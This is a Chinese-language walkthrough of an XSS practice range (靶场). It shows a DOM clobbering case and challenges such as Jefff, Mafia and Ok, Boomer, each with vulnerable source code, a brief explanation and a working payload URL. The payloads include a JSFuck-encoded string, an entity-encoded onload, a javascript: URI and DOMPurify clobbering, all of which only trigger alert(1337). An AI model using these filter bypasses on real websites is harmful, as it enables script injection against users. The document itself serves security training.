目录
DOM破坏案例
源代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="author" content="system">
<meta name="keywords" content="whoami">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>
<script>alert(1)</script>
</title>
</head>
<body>
<style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1))
const root = document.createElement('div')
root.innerHTML = data
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name)
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
</html>
输入:
demo.html#<style>@keyframes%20x{}</style><from%20style="animation-name:x"%20onanimationstart="alert(1)"><input%20id=attributes><input%20id=attributes>
将源代码里的“el”注入两个input元素放入到“from”中,此时“attr”为input表单,再取出“input”所有标签,再删除“id”标签。
靶场
Jefff
<!-- Challenge -->
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
使用URL查询参数Jefff注入数据,用“;”结束语句,用一个空格绕过过滤
/jefff.html?jeff=abc";%20alert(1337);"
Ugandan Knuckless
<!-- Challenge -->
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
使用引号进行闭合,添加autofocus,自动获取焦点,设置一个事件处理器,使获取焦点时执行代码
/da-wey.html?wey=cba"%20autofocus%20onfocus="alert(1337)"
Ricardo Milos
<!-- Challenge -->
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
用URL中JavaScript伪协议执行XSS,查询参数“ricardo”作为注入点
/ricardo.html?ricardo=javascript:alert(1337)
Ah That's Hawt
<!-- Challenge -->
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
在HTML中嵌入onload事件处理器
/thats-hawt.html?markassbrownlee=%3csvg+onload%3d%22%26%23x0061%3b%26%23x006c%3b%26%23x0065%3b%26%23x0072%3b%26%23x0074%3b%26%23x0028%3b%26%23x0031%3b%26%23x0033%3b%26%23x0033%3b%26%23x0037%3b%26%23x0029%3b%22%3e%0a
Ligma
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
使用JSFuck绕过,将代码混淆为只含有以下六种字符的字符串:[ ] ( ) ! +
/ligma.html?balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()
Mafia
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
定义匿名函数,构造payload,用正则表达式绕过alert字符串检测
/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
Ok, Boomer
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
使用DOMPurity第三方库过滤非法字符,即在源代码“setTimeout(ok, 2000)”中注入变量“ok”,以“id=ok”构造变量“ok”,变量“ok”转为值,又因<a>标签返回“href”的值,则选<a>标签作为构造变量。
/ok-boomer.html?boomer=<a%20id=ok%20href=mailto:alert(1337)>